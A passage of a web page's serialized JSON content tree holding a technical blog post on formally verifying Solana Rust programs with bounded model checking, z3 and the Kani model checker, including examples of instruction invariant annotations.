1\n",[21172],{"type":24,"tag":32,"props":21173,"children":21174},{"__ignoreMap":7},[21175,21198,21214],{"type":24,"tag":90,"props":21176,"children":21177},{"class":92,"line":93},[21178,21182,21186,21190,21194],{"type":24,"tag":90,"props":21179,"children":21180},{"style":114},[21181],{"type":29,"value":21104},{"type":24,"tag":90,"props":21183,"children":21184},{"style":120},[21185],{"type":29,"value":10951},{"type":24,"tag":90,"props":21187,"children":21188},{"style":114},[21189],{"type":29,"value":20884},{"type":24,"tag":90,"props":21191,"children":21192},{"style":120},[21193],{"type":29,"value":6767},{"type":24,"tag":90,"props":21195,"children":21196},{"style":349},[21197],{"type":29,"value":21121},{"type":24,"tag":90,"props":21199,"children":21200},{"class":92,"line":200},[21201,21205,21210],{"type":24,"tag":90,"props":21202,"children":21203},{"style":114},[21204],{"type":29,"value":21104},{"type":24,"tag":90,"props":21206,"children":21207},{"style":120},[21208],{"type":29,"value":21209},"\u003C=",{"type":24,"tag":90,"props":21211,"children":21212},{"style":349},[21213],{"type":29,"value":21137},{"type":24,"tag":90,"props":21215,"children":21216},{"class":92,"line":239},[21217,21221,21225,21229,21233],{"type":24,"tag":90,"props":21218,"children":21219},{"style":114},[21220],{"type":29,"value":21145},{"type":24,"tag":90,"props":21222,"children":21223},{"style":120},[21224],{"type":29,"value":10951},{"type":24,"tag":90,"props":21226,"children":21227},{"style":114},[21228],{"type":29,"value":6900},{"type":24,"tag":90,"props":21230,"children":21231},{"style":120},[21232],{"type":29,"value":6767},{"type":24,"tag":90,"props":21234,"children":21235},{"style":349},[21236],{"type":29,"value":21237}," 1\n",{"type":24,"tag":25,"props":21239,"children":21240},{},[21241,21243,21250],{"type":29,"value":21242},"Using the ",{"type":24,"tag":69,"props":21244,"children":21247},{"href":21245,"rel":21246},"https://github.com/Z3Prover/z3",[73],[21248],{"type":29,"value":21249},"z3",{"type":29,"value":21251}," SMT solver, we could check both of these cases like so:",{"type":24,"tag":80,"props":21253,"children":21257},{"code":21254,"language":21255,"meta":7,"className":21256,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[21258],{"type":24,"tag":32,"props":21259,"children":21260},{"__ignoreMap":7},[21261,21284,21291,21317,21341,21365,21372,21380,21397,21425,21444,21472,21479,21487,21508,21526,21533,21541,21556,21583,21602,21629,21636,21643,21662],{"type":24,"tag":90,"props":21262,"children":21263},{"class":92,"line":93},[21264,21269,21274,21279],{"type":24,"tag":90,"props":21265,"children":21266},{"style":636},[21267],{"type":29,"value":21268},"from",{"type":24,"tag":90,"props":21270,"children":21271},{"style":114},[21272],{"type":29,"value":21273}," z3 ",{"type":24,"tag":90,"props":21275,"children":21276},{"style":636},[21277],{"type":29,"value":21278},"import",{"type":24,"tag":90,"props":21280,"children":21281},{"style":120},[21282],{"type":29,"value":21283}," *\n",{"type":24,"tag":90,"props":21285,"children":21286},{"class":92,"line":200},[21287],{"type":24,"tag":90,"props":21288,"children":21289},{"emptyLinePlaceholder":16},[21290],{"type":29,"value":245},{"type":24,"tag":90,"props":21292,"children":21293},{"class":92,"line":239},[21294,21299,21303,21308,21313],{"type":24,"tag":90,"props":21295,"children":21296},{"style":114},[21297],{"type":29,"value":21298},"x ",{"type":24,"tag":90,"props":21300,"children":21301},{"style":120},[21302],{"type":29,"value":5491},{"type":24,"tag":90,"props":21304,"children":21305},{"style":114},[21306],{"type":29,"value":21307}," Int(",{"type":24,"tag":90,"props":21309,"children":21310},{"style":1085},[21311],{"type":29,"value":21312},"'x'",{"type":24,"tag":90,"props":21314,"children":21315},{"style":114},[21316],{"type":29,"value":1686},{"type":24,"tag":90,"props":21318,"children":21319},{"class":92,"line":248},[21320,21324,21328,21332,21337],{"type":24,"tag":90,"props":21321,"children":21322},{"style":114},[21323],{"type":29,"value":21104},{"type":24,"tag":90,"props":21325,"children":21326},{"style":120},[21327],{"type":29,"value":5491},{"type":24,"tag":90,"props":21329,"children":21330},{"style":114},[21331],{"type":29,"value":21307},{"type":24,"tag":90,"props":21333,"children":21334},{"style":1085},[21335],{"type":29,"value":21336},"'y'",{"type":24,"tag":90,"props":21338,"children":21339},{"style":114},[21340],{"type":29,"value":1686},{"type":24,"tag":90,"props":21342,"children":21343},{"class":92,"line":258},[21344,21348,21352,21356,21361],{"type":24,"tag":90,"props":21345,"children":21346},{"style":114},[21347],{"type":29,"value":21145},{"type":24,"tag":90,"props":21349,"children":21350},{"style":120},[21351],{"type":29,"value":5491},{"type":24,"tag":90,"props":21353,"children":21354},{"style":114},[21355],{"type":29,"value":21307},{"type":24,"tag":90,"props":21357,"children":21358},{"style":1085},[21359],{"type":29,"value":21360},"'z'",{"type":24,"tag":90,"props":21362,"children":21363},{"style":114},[21364],{"type":29,"value":1686},{"type":24,"tag":90,"props":21366,"children":21367},{"class":92,"line":272},[21368],{"type":24,"tag":90,"props":21369,"children":21370},{"emptyLinePlaceholder":16},[21371],{"type":29,"value":245},{"type":24,"tag":90,"props":21373,"children":21374},{"class":92,"line":281},[21375],{"type":24,"tag":90,"props":21376,"children":21377},{"style":252},[21378],{"type":29,"value":21379},"# Positive branch:\n",{"type":24,"tag":90,"props":21381,"children":21382},{"class":92,"line":384},[21383,21388,21392],{"type":24,"tag":90,"props":21384,"children":21385},{"style":114},[21386],{"type":29,"value":21387},"s ",{"type":24,"tag":90,"props":21389,"children":21390},{"style":120},[21391],{"type":29,"value":5491},{"type":24,"tag":90,"props":21393,"children":21394},{"style":114},[21395],{"type":29,"value":21396}," Solver()\n",{"type":24,"tag":90,"props":21398,"children":21399},{"class":92,"line":420},[21400,21405,21409,21413,21417,21421],{"type":24,"tag":90,"props":21401,"children":21402},{"style":114},[21403],{"type":29,"value":21404},"s.add(y ",{"type":24,"tag":90,"props":21406,"children":21407},{"style":120},[21408],{"type":29,"value":10951},{"type":24,"tag":90,"props":21410,"children":21411},{"style":114},[21412],{"type":29,"value":20884},{"type":24,"tag":90,"props":21414,"children":21415},{"style":120},[21416],{"type":29,"value":6767},{"type":24,"tag":90,"props":21418,"children":21419},{"style":349},[21420],{"type":29,"value":20893},{"type":24,"tag":90,"props":21422,"children":21423},{"style":114},[21424],{"type":29,"value":1686},{"type":24,"tag":90,"props":21426,"children":21427},{"class":92,"line":428},[21428,21432,21436,21440],{"type":24,"tag":90,"props":21429,"children":21430},{"style":114},[21431],{"type":29,"value":21404},{"type":24,"tag":90,"props":21433,"children":21434},{"style":120},[21435],{"type":29,"value":12830},{"type":24,"tag":90,"props":21437,"children":21438},{"style":349},[21439],{"type":29,"value":20930},{"type":24,"tag":90,"props":21441,"children":21442},{"style":114},[21443],{"type":29,"value":1686},{"type":24,"tag":90,"props":21445,"children":21446},{"class":92,"line":437},[21447,21452,21456,21460,21464,21468],{"type":24,"tag":90,"props":21448,"children":21449},{"style":114},[21450],{"type":29,"value":21451},"s.add(z ",{"type":24,"tag":90,"props":21453,"children":21454},{"style":120},[21455],{"type":29,"value":10951},{"type":24,"tag":90,"props":21457,"children":21458},{"style":114},[21459],{"type":29,"value":6900},{"type":24,"tag":90,"props":21461,"children":21462},{"style":120},[21463],{"type":29,"value":983},{"type":24,"tag":90,"props":21465,"children":21466},{"style":349},[21467],{"type":29,"value":10312},{"type":24,"tag":90,"props":21469,"children":21470},{"style":114},[21471],{"type":29,"value":1686},{"type":24,"tag":90,"props":21473,"children":21474},{"class":92,"line":574},[21475],{"type":24,"tag":90,"props":21476,"children":21477},{"emptyLinePlaceholder":16},[21478],{"type":29,"value":245},{"type":24,"tag":90,"props":21480,"children":21481},{"class":92,"line":606},[21482],{"type":24,"tag":90,"props":21483,"children":21484},{"style":252},[21485],{"type":29,"value":21486},"# check if we can violate the correctness property\n",{"type":24,"tag":90,"props":21488,"children":21489},{"class":92,"line":615},[21490,21495,21499,21503],{"type":24,"tag":90,"props":21491,"children":21492},{"style":114},[21493],{"type":29,"value":21494},"s.add(Not(z ",{"type":24,"tag":90,"props":21496,"children":21497},{"style":120},[21498],{"type":29,"value":2196},{"type":24,"tag":90,"props":21500,"children":21501},{"style":349},[21502],{"type":29,"value":21048},{"type":24,"tag":90,"props":21504,"children":21505},{"style":114},[21506],{"type":29,"value":21507},"))\n",{"type":24,"tag":90,"props":21509,"children":21510},{"class":92,"line":623},[21511,21516,21521],{"type":24,"tag":90,"props":21512,"children":21513},{"style":108},[21514],{"type":29,"value":21515},"print",{"type":24,"tag":90,"props":21517,"children":21518},{"style":114},[21519],{"type":29,"value":21520},"(s.check()) ",{"type":24,"tag":90,"props":21522,"children":21523},{"style":252},[21524],{"type":29,"value":21525},"# \"unsat\"\n",{"type":24,"tag":90,"props":21527,"children":21528},{"class":92,"line":632},[21529],{"type":24,"tag":90,"props":21530,"children":21531},{"emptyLinePlaceholder":16},[21532],{"type":29,"value":245},{"type":24,"tag":90,"props":21534,"children":21535},{"class":92,"line":669},[21536],{"type":24,"tag":90,"props":21537,"children":21538},{"style":252},[21539],{"type":29,"value":21540},"# Negative branch:\n",{"type":24,"tag":90,"props":21542,"children":21543},{"class":92,"line":683},[21544,21548,21552],{"type":24,"tag":90,"props":21545,"children":21546},{"style":114},[21547],{"type":29,"value":21387},{"type":24,"tag":90,"props":21549,"children":21550},{"style":120},[21551],{"type":29,"value":5491},{"type":24,"tag":90,"props":21553,"children":21554},{"style":114},[21555],{"type":29,"value":21396},{"type":24,"tag":90,"props":21557,"children":21558},{"class":92,"line":737},[21559,21563,21567,21571,21575,21579],{"type":24,"tag":90,"props":21560,"children":21561},{"style":114},[21562],{"type":29,"value":21404},{"type":24,"tag":90,"props":21564,"children":21565},{"style":120},[21566],{"type":29,"value":10951},{"type":24,"tag":90,"props":21568,"children":21569},{"style":114},[21570],{"type":29,"value":20884},{"type":24,"tag":90,"props":21572,"children":21573},{"style":120},[21574],{"type":29,"value":6767},{"type":24,"tag":90,"props":21576,"children":21577},{"style":349},[21578],{"type":29,"value":20893},{"type":24,"tag":90,"props":21580,"children":21581},{"style":114},[21582],{"type":29,"value":1686},{"type":24,"tag":90,"props":21584,"children":21585},{"class":92,"line":751},[21586,21590,21594,21598],{"type":24,"tag":90,"props":21587,"children":21588},{"style":114},[21589],{"type":29,"value":21404},{"type":24,"tag":90,"props":21591,"children":21592},{"style":120},[21593],{"type":29,"value":21209},{"type":24,"tag":90,"props":21595,"children":21596},{"style":349},[21597],{"type":29,"value":20930},{"type":24,"tag":90,"props":21599,"children":21600},{"style":114},[21601],{"type":29,"value":1686},{"type":24,"tag":90,"props":21603,"children":21604},{"class":92,"line":782},[21605,21609,21613,21617,21621,21625],{"type":24,"tag":90,"props":21606,"children":21607},{"style":114},[21608],{"type":29,"value":21451},{"type":24,"tag":90,"props":21610,"children":21611},{"style":120},[21612],{"type":29,"value":10951},{"type":24,"tag":90,"props":21614,"children":21615},{"style":114},[21616],{"type":29,"value":6900},{"type":24,"tag":90,"props":21618,"children":21619},{"style":120},[21620],{"type":29,"value":6767},{"type":24,"tag":90,"props":21622,"children":21623},{"style":349},[21624],{"type":29,"value":6909},{"type":24,"tag":90,"props":21626,"children":21627},{"style":114},[21628],{"type":29,"value":1686},{"type":24,"tag":90,"props":21630,"children":21631},{"class":92,"line":791},[21632],{"type":24,"tag":90,"props":21633,"children":21634},{"emptyLinePlaceholder":16},[21635],{"type":29,"value":245},{"type":24,"tag":90,"props":21637,"children":21638},{"class":92,"line":799},[21639],{"type":24,"tag":90,"props":21640,"children":21641},{"style":252},[21642],{"type":29,"value":21486},{"type":24,"tag":90,"props":21644,"children":21645},{"class":92,"line":807},[21646,21650,21654,21658],{"type":24,"tag":90,"props":21647,"children":21648},{"style":114},[21649],{"type":29,"value":21494},{"type":24,"tag":90,"props":21651,"children":21652},{"style":120},[21653],{"type":29,"value":2196},{"type":24,"tag":90,"props":21655,"children":21656},{"style":349},[21657],{"type":29,"value":21048},{"type":24,"tag":90,"props":21659,"children":21660},{"style":114},[21661],{"type":29,"value":21507},{"type":24,"tag":90,"props":21663,"children":21664},{"class":92,"line":821},[21665,21669,21673],{"type":24,"tag":90,"props":21666,"children":21667},{"style":108},[21668],{"type":29,"value":21515},{"type":24,"tag":90,"props":21670,"children":21671},{"style":114},[21672],{"type":29,"value":21520},{"type":24,"tag":90,"props":21674,"children":21675},{"style":252},[21676],{"type":29,"value":21525},{"type":24,"tag":25,"props":21678,"children":21679},{},[21680,21682,21688,21690,21695],{"type":29,"value":21681},"Both of these cases return ",{"type":24,"tag":32,"props":21683,"children":21685},{"className":21684},[],[21686],{"type":29,"value":21687},"unsat",{"type":29,"value":21689}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":24,"tag":842,"props":21691,"children":21692},{},[21693],{"type":29,"value":21694},"correct",{"type":29,"value":21696}," according to this property.",{"type":24,"tag":1019,"props":21698,"children":21700},{"id":21699},"loop-bounds-path-explosion",[21701],{"type":29,"value":21702},"Loop bounds & path explosion",{"type":24,"tag":25,"props":21704,"children":21705},{},[21706,21708,21713,21715,21720],{"type":29,"value":21707},"As you may have noticed, BMC requires us to take ",{"type":24,"tag":842,"props":21709,"children":21710},{},[21711],{"type":29,"value":21712},"every",{"type":29,"value":21714}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":24,"tag":842,"props":21716,"children":21717},{},[21718],{"type":29,"value":21719},"infinite",{"type":29,"value":21721}," number of paths because the loop branches backward. This might take a while...",{"type":24,"tag":25,"props":21723,"children":21724},{},[21725],{"type":29,"value":21726},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":24,"tag":25,"props":21728,"children":21729},{},[21730],{"type":29,"value":21731},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":24,"tag":25,"props":21733,"children":21734},{},[21735],{"type":29,"value":21736},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":24,"tag":1019,"props":21738,"children":21740},{"id":21739},"kani-model-checker",[21741],{"type":29,"value":21742},"Kani Model Checker",{"type":24,"tag":25,"props":21744,"children":21745},{},[21746,21748,21753],{"type":29,"value":21747},"For our research with formally verifying Solana programs, we are using the ",{"type":24,"tag":69,"props":21749,"children":21751},{"href":20640,"rel":21750},[73],[21752],{"type":29,"value":20644},{"type":29,"value":21754},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":24,"tag":25,"props":21756,"children":21757},{},[21758,21760,21765,21767,21773,21774,21780,21782,21788],{"type":29,"value":21759},"Kani allows you to write ",{"type":24,"tag":842,"props":21761,"children":21762},{},[21763],{"type":29,"value":21764},"proof harnesses",{"type":29,"value":21766}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":24,"tag":32,"props":21768,"children":21770},{"className":21769},[],[21771],{"type":29,"value":21772},"assume",{"type":29,"value":13360},{"type":24,"tag":32,"props":21775,"children":21777},{"className":21776},[],[21778],{"type":29,"value":21779},"assert",{"type":29,"value":21781}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":24,"tag":32,"props":21783,"children":21785},{"className":21784},[],[21786],{"type":29,"value":21787},"cargo kani",{"type":29,"value":21789}," tool (which compiles your proof harness and runs BMC).",{"type":24,"tag":850,"props":21791,"children":21793},{"id":21792},"specification-how-can-we-describe-what-we-want-our-program-to-do",[21794,21796,21800],{"type":29,"value":21795},"Specification: How can we describe what we ",{"type":24,"tag":842,"props":21797,"children":21798},{},[21799],{"type":29,"value":20714},{"type":29,"value":20716},{"type":24,"tag":25,"props":21802,"children":21803},{},[21804],{"type":24,"tag":842,"props":21805,"children":21806},{},[21807],{"type":24,"tag":7711,"props":21808,"children":21809},{},[21810],{"type":29,"value":21811},"And what even do we want it to do?",{"type":24,"tag":25,"props":21813,"children":21814},{},[21815,21817,21822],{"type":29,"value":21816},"A fundamental challenge with any formal verification framework is ",{"type":24,"tag":842,"props":21818,"children":21819},{},[21820],{"type":29,"value":21821},"specifying",{"type":29,"value":21823}," what the \"correct\" behavior should be.",{"type":24,"tag":25,"props":21825,"children":21826},{},[21827],{"type":29,"value":21828},"In natural language, we can describe a few good properties for example Solana programs:",{"type":24,"tag":3207,"props":21830,"children":21831},{},[21832,21844,21856],{"type":24,"tag":3104,"props":21833,"children":21834},{},[21835,21837,21842],{"type":29,"value":21836},"\"It should not be possible to ",{"type":24,"tag":7711,"props":21838,"children":21839},{},[21840],{"type":29,"value":21841},"steal money",{"type":29,"value":21843}," via a swap program\"",{"type":24,"tag":3104,"props":21845,"children":21846},{},[21847,21849,21854],{"type":29,"value":21848},"\"A multisig should never get into a state where you ",{"type":24,"tag":7711,"props":21850,"children":21851},{},[21852],{"type":29,"value":21853},"can't sign anything",{"type":29,"value":21855},"\"",{"type":24,"tag":3104,"props":21857,"children":21858},{},[21859],{"type":29,"value":21860},"\"User funds in a staking protocol \"",{"type":24,"tag":25,"props":21862,"children":21863},{},[21864,21866,21876,21878,21883],{"type":29,"value":21865},"These are types of properties you can tell your ",{"type":24,"tag":69,"props":21867,"children":21870},{"href":21868,"rel":21869},"https://osec.io/",[73],[21871],{"type":24,"tag":842,"props":21872,"children":21873},{},[21874],{"type":29,"value":21875},"human auditors",{"type":29,"value":21877}," but these English phrases are not particularly useful for ",{"type":24,"tag":842,"props":21879,"children":21880},{},[21881],{"type":29,"value":21882},"automated verification techniques",{"type":29,"value":21884}," (at least until our AI overlords surpass human intelligence).",{"type":24,"tag":25,"props":21886,"children":21887},{},[21888,21890,21895,21897,21902],{"type":29,"value":21889},"Instead, we need to be able to specify ",{"type":24,"tag":842,"props":21891,"children":21892},{},[21893],{"type":29,"value":21894},"in code",{"type":29,"value":21896}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":24,"tag":32,"props":21898,"children":21900},{"className":21899},[],[21901],{"type":29,"value":21779},{"type":29,"value":21903}," statement.",{"type":24,"tag":1019,"props":21905,"children":21907},{"id":21906},"solana-invariants",[21908],{"type":29,"value":21909},"Solana Invariants",{"type":24,"tag":25,"props":21911,"children":21912},{},[21913,21915,21920,21921,21926],{"type":29,"value":21914},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":24,"tag":7711,"props":21916,"children":21917},{},[21918],{"type":29,"value":21919},"instruction invariants",{"type":29,"value":13360},{"type":24,"tag":7711,"props":21922,"children":21923},{},[21924],{"type":29,"value":21925},"account invariants",{"type":29,"value":226},{"type":24,"tag":20686,"props":21928,"children":21930},{"id":21929},"instruction-invariant",[21931],{"type":29,"value":21932},"Instruction Invariant",{"type":24,"tag":25,"props":21934,"children":21935},{},[21936,21938,21943,21945,21951,21952,21958],{"type":29,"value":21937},"An ",{"type":24,"tag":7711,"props":21939,"children":21940},{},[21941],{"type":29,"value":21942},"instruction invariant",{"type":29,"value":21944}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":24,"tag":32,"props":21946,"children":21948},{"className":21947},[],[21949],{"type":29,"value":21950},"succeeds_if",{"type":29,"value":15499},{"type":24,"tag":32,"props":21953,"children":21955},{"className":21954},[],[21956],{"type":29,"value":21957},"errors_if",{"type":29,"value":21959}," macro annotations on the instruction handler.",{"type":24,"tag":25,"props":21961,"children":21962},{},[21963],{"type":29,"value":21964},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":24,"tag":25,"props":21966,"children":21967},{},[21968,21970,21976,21978,21983],{"type":29,"value":21969},"For example, say we have a ",{"type":24,"tag":32,"props":21971,"children":21973},{"className":21972},[],[21974],{"type":29,"value":21975},"Withdraw",{"type":29,"value":21977}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":24,"tag":842,"props":21979,"children":21980},{},[21981],{"type":29,"value":21982},"more",{"type":29,"value":21984}," tokens than their current balance.",{"type":24,"tag":25,"props":21986,"children":21987},{},[21988,21990,21995],{"type":29,"value":21989},"Using our tool, you could specify the following ",{"type":24,"tag":32,"props":21991,"children":21993},{"className":21992},[],[21994],{"type":29,"value":21957},{"type":29,"value":21996}," property on your instruction handler:",{"type":24,"tag":80,"props":21998,"children":22000},{"code":21999,"language":84,"meta":7,"className":82,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[22001],{"type":24,"tag":32,"props":22002,"children":22003},{"__ignoreMap":7},[22004,22012,22047,22055,22128,22136],{"type":24,"tag":90,"props":22005,"children":22006},{"class":92,"line":93},[22007],{"type":24,"tag":90,"props":22008,"children":22009},{"style":114},[22010],{"type":29,"value":22011},"#[errors_if(\n",{"type":24,"tag":90,"props":22013,"children":22014},{"class":92,"line":200},[22015,22020,22024,22029,22033,22038,22042],{"type":24,"tag":90,"props":22016,"children":22017},{"style":114},[22018],{"type":29,"value":22019}," ctx",{"type":24,"tag":90,"props":22021,"children":22022},{"style":120},[22023],{"type":29,"value":226},{"type":24,"tag":90,"props":22025,"children":22026},{"style":114},[22027],{"type":29,"value":22028},"user",{"type":24,"tag":90,"props":22030,"children":22031},{"style":120},[22032],{"type":29,"value":226},{"type":24,"tag":90,"props":22034,"children":22035},{"style":114},[22036],{"type":29,"value":22037},"balance ",{"type":24,"tag":90,"props":22039,"children":22040},{"style":120},[22041],{"type":29,"value":1575},{"type":24,"tag":90,"props":22043,"children":22044},{"style":114},[22045],{"type":29,"value":22046}," amount\n",{"type":24,"tag":90,"props":22048,"children":22049},{"class":92,"line":239},[22050],{"type":24,"tag":90,"props":22051,"children":22052},{"style":114},[22053],{"type":29,"value":22054},")]\n",{"type":24,"tag":90,"props":22056,"children":22057},{"class":92,"line":248},[22058,22063,22068,22072,22077,22081,22086,22090,22094,22098,22103,22107,22111,22115,22119,22123],{"type":24,"tag":90,"props":22059,"children":22060},{"style":97},[22061],{"type":29,"value":22062},"fn",{"type":24,"tag":90,"props":22064,"children":22065},{"style":108},[22066],{"type":29,"value":22067}," withdraw",{"type":24,"tag":90,"props":22069,"children":22070},{"style":114},[22071],{"type":29,"value":117},{"type":24,"tag":90,"props":22073,"children":22074},{"style":136},[22075],{"type":29,"value":22076},"ctx",{"type":24,"tag":90,"props":22078,"children":22079},{"style":120},[22080],{"type":29,"value":78},{"type":24,"tag":90,"props":22082,"children":22083},{"style":146},[22084],{"type":29,"value":22085}," Context",{"type":24,"tag":90,"props":22087,"children":22088},{"style":114},[22089],{"type":29,"value":1575},{"type":24,"tag":90,"props":22091,"children":22092},{"style":146},[22093],{"type":29,"value":21975},{"type":24,"tag":90,"props":22095,"children":22096},{"style":114},[22097],{"type":29,"value":9015},{"type":24,"tag":90,"props":22099,"children":22100},{"style":136},[22101],{"type":29,"value":22102},"amount",{"type":24,"tag":90,"props":22104,"children":22105},{"style":120},[22106],{"type":29,"value":78},{"type":24,"tag":90,"props":22108,"children":22109},{"style":146},[22110],{"type":29,"value":376},{"type":24,"tag":90,"props":22112,"children":22113},{"style":114},[22114],{"type":29,"value":172},{"type":24,"tag":90,"props":22116,"children":22117},{"style":120},[22118],{"type":29,"value":177},{"type":24,"tag":90,"props":22120,"children":22121},{"style":146},[22122],{"type":29,"value":182},{"type":24,"tag":90,"props":22124,"children":22125},{"style":114},[22126],{"type":29,"value":22127},"\u003C()> {\n",{"type":24,"tag":90,"props":22129,"children":22130},{"class":92,"line":258},[22131],{"type":24,"tag":90,"props":22132,"children":22133},{"style":120},[22134],{"type":29,"value":22135}," ...\n",{"type":24,"tag":90,"props":22137,"children":22138},{"class":92,"line":272},[22139],{"type":24,"tag":90,"props":22140,"children":22141},{"style":114},[22142],{"type":29,"value":827},{"type":24,"tag":5339,"props":22144,"children":22145},{},[22146],{"type":24,"tag":25,"props":22147,"children":22148},{},[22149,22150,22155,22157,22162,22164,22169],{"type":29,"value":3131},{"type":24,"tag":32,"props":22151,"children":22153},{"className":22152},[],[22154],{"type":29,"value":21957},{"type":29,"value":22156}," expression specifies ",{"type":24,"tag":842,"props":22158,"children":22159},{},[22160],{"type":29,"value":22161},"succifient",{"type":29,"value":22163}," but not ",{"type":24,"tag":842,"props":22165,"children":22166},{},[22167],{"type":29,"value":22168},"necessary",{"type":29,"value":22170}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":24,"tag":20586,"props":22172,"children":22173},{},[],{"type":24,"tag":25,"props":22175,"children":22176},{},[22177,22179,22184],{"type":29,"value":22178},"Another example is that for ",{"type":24,"tag":842,"props":22180,"children":22181},{},[22182],{"type":29,"value":22183},"crank",{"type":29,"value":22185}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":24,"tag":80,"props":22187,"children":22189},{"code":22188,"language":84,"meta":7,"className":82,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[22190],{"type":24,"tag":32,"props":22191,"children":22192},{"__ignoreMap":7},[22193,22201,22255,22262],{"type":24,"tag":90,"props":22194,"children":22195},{"class":92,"line":93},[22196],{"type":24,"tag":90,"props":22197,"children":22198},{"style":114},[22199],{"type":29,"value":22200},"#[succeeds_if(true)]\n",{"type":24,"tag":90,"props":22202,"children":22203},{"class":92,"line":200},[22204,22208,22213,22217,22221,22225,22229,22233,22238,22243,22247,22251],{"type":24,"tag":90,"props":22205,"children":22206},{"style":97},[22207],{"type":29,"value":22062},{"type":24,"tag":90,"props":22209,"children":22210},{"style":108},[22211],{"type":29,"value":22212}," my_crank",{"type":24,"tag":90,"props":22214,"children":22215},{"style":114},[22216],{"type":29,"value":117},{"type":24,"tag":90,"props":22218,"children":22219},{"style":136},[22220],{"type":29,"value":22076},{"type":24,"tag":90,"props":22222,"children":22223},{"style":120},[22224],{"type":29,"value":78},{"type":24,"tag":90,"props":22226,"children":22227},{"style":146},[22228],{"type":29,"value":22085},{"type":24,"tag":90,"props":22230,"children":22231},{"style":114},[22232],{"type":29,"value":1575},{"type":24,"tag":90,"props":22234,"children":22235},{"style":146},[22236],{"type":29,"value":22237},"Crank",{"type":24,"tag":90,"props":22239,"children":22240},{"style":114},[22241],{"type":29,"value":22242},">) ",{"type":24,"tag":90,"props":22244,"children":22245},{"style":120},[22246],{"type":29,"value":177},{"type":24,"tag":90,"props":22248,"children":22249},{"style":146},[22250],{"type":29,"value":182},{"type":24,"tag":90,"props":22252,"children":22253},{"style":114},[22254],{"type":29,"value":22127},{"type":24,"tag":90,"props":22256,"children":22257},{"class":92,"line":239},[22258],{"type":24,"tag":90,"props":22259,"children":22260},{"style":120},[22261],{"type":29,"value":22135},{"type":24,"tag":90,"props":22263,"children":22264},{"class":92,"line":248},[22265],{"type":24,"tag":90,"props":22266,"children":22267},{"style":114},[22268],{"type":29,"value":827},{"type":24,"tag":25,"props":22270,"children":22271},{},[22272,22274,22278,22280,22286],{"type":29,"value":22273},"With this invariant, you could prove that the function ",{"type":24,"tag":842,"props":22275,"children":22276},{},[22277],{"type":29,"value":15459},{"type":29,"value":22279}," returns ",{"type":24,"tag":32,"props":22281,"children":22283},{"className":22282},[],[22284],{"type":29,"value":22285},"Ok",{"type":29,"value":22287},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":24,"tag":20586,"props":22289,"children":22290},{},[],{"type":24,"tag":25,"props":22292,"children":22293},{},[22294,22296,22301,22302,22307,22309,22314,22316,22321,22323,22328],{"type":29,"value":22295},"Note that ",{"type":24,"tag":32,"props":22297,"children":22299},{"className":22298},[],[22300],{"type":29,"value":21950},{"type":29,"value":13360},{"type":24,"tag":32,"props":22303,"children":22305},{"className":22304},[],[22306],{"type":29,"value":21957},{"type":29,"value":22308}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":24,"tag":32,"props":22310,"children":22312},{"className":22311},[],[22313],{"type":29,"value":21950},{"type":29,"value":22315}," is not satisfied and a function may fail even if ",{"type":24,"tag":32,"props":22317,"children":22319},{"className":22318},[],[22320],{"type":29,"value":21957},{"type":29,"value":22322}," is not satisfied. If you want to prove the ",{"type":24,"tag":842,"props":22324,"children":22325},{},[22326],{"type":29,"value":22327},"exact condition",{"type":29,"value":22329}," required for an instruction to succeed, you could use a form like the following:",{"type":24,"tag":80,"props":22331,"children":22333},{"code":22332,"language":84,"meta":7,"className":82,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[22334],{"type":24,"tag":32,"props":22335,"children":22336},{"__ignoreMap":7},[22337,22381,22388,22405,22431,22483,22490],{"type":24,"tag":90,"props":22338,"children":22339},{"class":92,"line":93},[22340,22344,22349,22353,22357,22361,22365,22369,22373,22377],{"type":24,"tag":90,"props":22341,"children":22342},{"style":97},[22343],{"type":29,"value":22062},{"type":24,"tag":90,"props":22345,"children":22346},{"style":108},[22347],{"type":29,"value":22348}," 